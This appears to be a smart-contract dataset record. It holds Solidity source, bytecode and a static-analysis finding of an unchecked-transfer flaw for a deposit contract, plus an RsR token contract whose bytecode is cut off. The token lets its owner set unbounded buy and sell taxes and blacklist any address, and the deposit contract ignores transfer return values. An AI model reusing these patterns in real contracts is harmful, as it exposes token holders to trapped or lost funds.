* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC777 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function granularity() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function send(
address recipient,
uint256 amount,
bytes calldata data
) external;
function burn(uint256 amount, bytes calldata data) external;
function isOperatorFor(address operator, address tokenHolder) external view returns (bool);
function authorizeOperator(address operator) external;
function revokeOperator(address operator) external;
function defaultOperators() external view returns (address[] memory);
function operatorSend(
address sender,
address recipient,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
function operatorBurn(
address account,
uint256 amount,
bytes calldata data,
bytes calldata operatorData
) external;
event Sent(
address indexed operator,
address indexed from,
address indexed to,
uint256 amount,
bytes data,
bytes operatorData
);
event Minted(address indexed operator, address indexed to, uint256 amount, bytes data, bytes operatorData);
event Burned(address indexed operator, address indexed from, uint256 amount, bytes data, bytes operatorData);
event AuthorizedOperator(address indexed operator, address indexed tokenHolder);
event RevokedOperator(address indexed operator, address indexed tokenHolder);
}
interface IERC777Recipient {
/**
* @dev Called by an {IERC777} token contract whenever tokens are being
* moved or created into a registered account (`to`). The type of operation
* is conveyed by `from` being the zero address or not.
*
* This call occurs _after_ the token contract's state is updated, so
* {IERC777-balanceOf}, etc., can be used to query the post-operation state.
*
* This function may revert to prevent the operation from being executed.
*/
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external;
}
interface IERC1820Registry {
/**
* @dev Sets `newManager` as the manager for `account`. A manager of an
* account is able to set interface implementers for it.
*
* By default, each account is its own manager. Passing a value of `0x0` in
* `newManager` will reset the manager to this initial state.
*
* Emits a {ManagerChanged} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
*/
function setManager(address account, address newManager) external;
/**
* @dev Returns the manager for `account`.
*
* See {setManager}.
*/
function getManager(address account) external view returns (address);
/**
* @dev Sets the `implementer` contract as ``account``'s implementer for
* `interfaceHash`.
*
* `account` being the zero address is an alias for the caller's address.
* The zero address can also be used in `implementer` to remove an old one.
*
* See {interfaceHash} to learn how these are created.
*
* Emits an {InterfaceImplementerSet} event.
*
* Requirements:
*
* - the caller must be the current manager for `account`.
* - `interfaceHash` must not be an {IERC165} interface id (i.e. it must not
* end in 28 zeroes).
* - `implementer` must implement {IERC1820Implementer} and return true when
* queried for support, unless `implementer` is the caller. See
* {IERC1820Implementer-canImplementInterfaceForAddress}.
*/
function setInterfaceImplementer(
address account,
bytes32 _interfaceHash,
address implementer
) external;
/**
* @dev Returns the implementer of `interfaceHash` for `account`. If no such
* implementer is registered, returns the zero address.
*
* If `interfaceHash` is an {IERC165} interface id (i.e. it ends with 28
* zeroes), `account` will be queried for support of it.
*
* `account` being the zero address is an alias for the caller's address.
*/
function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address);
/**
* @dev Returns the interface hash for an `interfaceName`, as defined in the
* corresponding
* https://eips.ethereum.org/EIPS/eip-1820#interface-name[section of the EIP].
*/
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
/**
* @notice Updates the cache with whether the contract implements an ERC165 interface or not.
* @param account Address of the contract for which to update the cache.
* @param interfaceId ERC165 interface for which to update the cache.
*/
function updateERC165Cache(address account, bytes4 interfaceId) external;
/**
* @notice Checks whether a contract implements an ERC165 interface or not.
* If the result is not cached a direct lookup on the contract address is performed.
* If the result is not cached or the cached value is out-of-date, the cache MUST be updated manually by calling
* {updateERC165Cache} with the contract address.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
/**
* @notice Checks whether a contract implements an ERC165 interface or not without using nor updating the cache.
* @param account Address of the contract to check.
* @param interfaceId ERC165 interface to check.
* @return True if `account` implements `interfaceId`, false otherwise.
*/
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
}
contract BlocksDaoDeposit is IERC777Recipient, Ownable {
using SafeMath for uint256;
address public token = 0x8a6D4C8735371EBAF8874fBd518b56Edd66024eB;
address public wallet;
IERC1820Registry private _erc1820 = IERC1820Registry(0x1820a4B7618BdE71Dce8cdc73aAB6C95905faD24);
bytes32 constant private TOKENS_RECIPIENT_INTERFACE_HASH = keccak256("ERC777TokensRecipient");
event ERC20TokensRemoved(address tokenAddress, address sender, uint256 balance);
event ERC777Send(address operator, address from, address to, uint256 amount, bytes userData, bytes operatorData);
constructor(address _wallet) Ownable() {
wallet = _wallet;
_erc1820.setInterfaceImplementer(address(this), TOKENS_RECIPIENT_INTERFACE_HASH, address(this));
}
function updateWallet(address _wallet) public onlyOwner {
wallet = _wallet;
}
function tokensReceived(
address operator,
address from,
address to,
uint256 amount,
bytes calldata userData,
bytes calldata operatorData
) external override {
emit ERC777Send(operator, from, to, amount, userData, operatorData);
IERC20(token).transfer(wallet, amount);
emit ERC20TokensRemoved(token, to, amount);
}
}
|
0x608060405234801561001057600080fd5b506004361061007c5760003560e01c8063848b86e31161005b578063848b86e3146100c55780638da5cb5b146100e1578063f2fde38b146100ff578063fc0c546a1461011b5761007c565b806223de2914610081578063521eb2731461009d578063715018a6146100bb575b600080fd5b61009b6004803603810190610096919061072b565b610139565b005b6100a56102a7565b6040516100b29190610809565b60405180910390f35b6100c36102cd565b005b6100df60048036038101906100da9190610824565b610355565b005b6100e9610415565b6040516100f69190610809565b60405180910390f35b61011960048036038101906101149190610824565b61043e565b005b610123610536565b6040516101309190610809565b60405180910390f35b7e933d6eca98ea809b3dd058376cecf99137b69a8cb360a7e33959e730f6753988888888888888886040516101759897969594939291906108be565b60405180910390a1600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16876040518363ffffffff1660e01b81526004016101fc929190610931565b6020604051808303816000875af115801561021b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061023f9190610992565b507f4c9443772ec3472e2ea8a88e5c31e6bb75e94541dc672d5ca2a1197ada10b598600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168787604051610295939291906109bf565b60405180910390a15050505050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6102d561055c565b73ffffffffffffffffffffffffffffffffffffffff166102f3610415565b73ffffffffffffffffffffffffffffffffffffffff1614610349576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034090610a53565b60405180910390fd5b6103536000610564565b565b61035d61055c565b73ffffffffffffffffffffffffffffffffffffffff1661037b610415565b73ffffffffffffffffffffffffffffffffffffffff16146103d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c890610a53565b60405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61044661055c565b73ffffffffffffffffffffffffffffffffffffffff16610464610415565b73ffffffffffffffffffffffffffffffffffffffff16146104ba576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104b190610a53565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561052a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161052190610ae5565b60405180910390fd5b61053381610564565b50565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061065d82610632565b9050919050565b61066d81610652565b811461067857600080fd5b50565b60008135905061068a81610664565b92915050565b6000819050919050565b6106a381610690565b81146106ae57600080fd5b50565b6000813590506106c08161069a565b92915050565b600080fd5b600080fd5b600080fd5b60008083601f8401126106eb576106ea6106c6565b5b8235905067ffffffffffffffff811115610708576107076106cb565b5b602083019150836001820283011115610724576107236106d0565b5b9250929050565b60008060008060008060008060c0898b03121561074b5761074a610628565b5b60006107598b828c0161067b565b985050602061076a8b828c0161067b565b975050604061077b8b828c0161067b565b965050606061078c8b828c016106b1565b955050608089013567ffffffffffffffff8111156107ad576107ac61062d565b5b6107b98b828c016106d5565b945094505060a089013567ffffffffffffffff8111156107dc576107db61062d565b5b6107e88b828c016106d5565b92509250509295985092959890939650565b61080381610652565b82525050565b600060208201905061081e60008301846107fa565b92915050565b60006020828403121561083a57610839610628565b5b60006108488482850161067b565b91505092915050565b61085a81610690565b82525050565b600082825260208201905092915050565b82818337600083830152505050565b6000601f19601f8301169050919050565b600061089d8385610860565b93506108aa838584610871565b6108b383610880565b840190509392505050565b600060c0820190506108d3600083018b6107fa565b6108e0602083018a6107fa565b6108ed60408301896107fa565b6108fa6060830188610851565b818103608083015261090d818688610891565b905081810360a0830152610922818486610891565b90509998505050505050505050565b600060408201905061094660008301856107fa565b6109536020830184610851565b9392505050565b60008115159050919050565b61096f8161095a565b811461097a57600080fd5b50565b60008151905061098c81610966565b92915050565b6000602082840312156109a8576109a7610628565b5b60006109b68482850161097d565b91505092915050565b60006060820190506109d460008301866107fa565b6109e160208301856107fa565b6109ee6040830184610851565b949350505050565b600082825260208201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000610a3d6020836109f6565b9150610a4882610a07565b602082019050919050565b60006020820190508181036000830152610a6c81610a30565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000610acf6026836109f6565b9150610ada82610a73565b604082019050919050565b60006020820190508181036000830152610afe81610ac2565b905091905056fea26469706673582212204a1c783007c6242fd65cc27f52d8019162a0c0a1c8b1e3e259a483f226cb7d2464736f6c634300080c0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 5,934 |
0x6079d6183fff60c46fb97378dc9f54e0f0bd907b
|
/**
*Submitted for verification at Etherscan.io on 2022-03-10
*/
/**
https://t.me/RSRTOKEN_EN
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Russiasresponsible is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Russia's responsible";
string private constant _symbol = "RsR";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 10;
//Sell Fee
uint256 private _taxFeeOnSell = 10;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0xb61dcC8335e570dF5c4410dF0b59EcD40520cb73);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 30000000000 * 10**9;
uint256 public _swapTokensAtAmount = 1000000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function EnableTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
}
|
0x6080604052600436106101d05760003560e01c8063715018a6116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80638da5cb5b116100d15780638da5cb5b146104f65780638eb59a5f146105215780638f9a55c01461053857806394ceecef14610563576101d7565b8063715018a61461048b57806374010ece146104a25780637d1db4a5146104cb576101d7565b80632fd689e31161016f578063672434821161013e57806367243482146103d35780636b999053146103fc5780636d8aa8f81461042557806370a082311461044e576101d7565b80632fd689e314610329578063313ce5671461035457806349bd5a5e1461037f578063658d4b7f146103aa576101d7565b80630b78f9c0116101ab5780630b78f9c01461026d5780631694505e1461029657806318160ddd146102c157806323b872dd146102ec576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061301c565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190613506565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f5b565b61084e565b60405161026491906134d0565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f91906130bf565b61086c565b005b3480156102a257600080fd5b506102ab6108fa565b6040516102b891906134eb565b60405180910390f35b3480156102cd57600080fd5b506102d6610920565b6040516102e391906136e8565b60405180910390f35b3480156102f857600080fd5b50610313600480360381019061030e9190612ec8565b61092a565b60405161032091906134d0565b60405180910390f35b34801561033557600080fd5b5061033e610a03565b60405161034b91906136e8565b60405180910390f35b34801561036057600080fd5b50610369610a09565b604051610376919061375d565b60405180910390f35b34801561038b57600080fd5b50610394610a12565b6040516103a19190613454565b60405180910390f35b3480156103b657600080fd5b506103d160048036038101906103cc9190612f1b565b610a38565b005b3480156103df57600080fd5b506103fa60048036038101906103f59190612f9b565b610b0f565b005b34801561040857600080fd5b50610423600480360381019061041e9190612e2e565b610bff565b005b34801561043157600080fd5b5061044c60048036038101906104479190613065565b610cd6565b005b34801561045a57600080fd5b5061047560048036038101906104709190612e2e565b610d6f565b60405161048291906136e8565b60405180910390f35b34801561049757600080fd5b506104a0610db8565b005b3480156104ae57600080fd5b506104c960048036038101906104c49190613092565b610e40565b005b3480156104d757600080fd5b506104e0610ec6565b6040516104ed91906136e8565b60405180910390f35b34801561050257600080fd5b5061050b610ecc565b6040516105189190613454565b60405180910390f35b34801561052d57600080fd5b50610536610ef5565b005b34801561054457600080fd5b5061054d610f9d565b60405161055a91906136e8565b60405180910390f35b34801561056f57600080fd5b5061058a60048036038101906105859190613065565b610fa3565b005b34801561059857600080fd5b506105a161103c565b6040516105ae9190613506565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613092565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f5b565b6110ff565b60405161061491906134d0565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190612e2e565b61111d565b60405161065191906134d0565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b5061069860048036038101906106939190612e88565b6111d2565b6040516106a591906136e8565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613092565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f99190612e2e565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610ecc565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390613648565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a0613adb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080590613a34565b91505061077f565b5050565b60606040518060400160405280601481526020017f527573736961277320726573706f6e7369626c65000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610ecc565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df90613648565b60405180910390fd5b81600681905550806007819055505050565b600c60009054906101000a900473ffffffffffff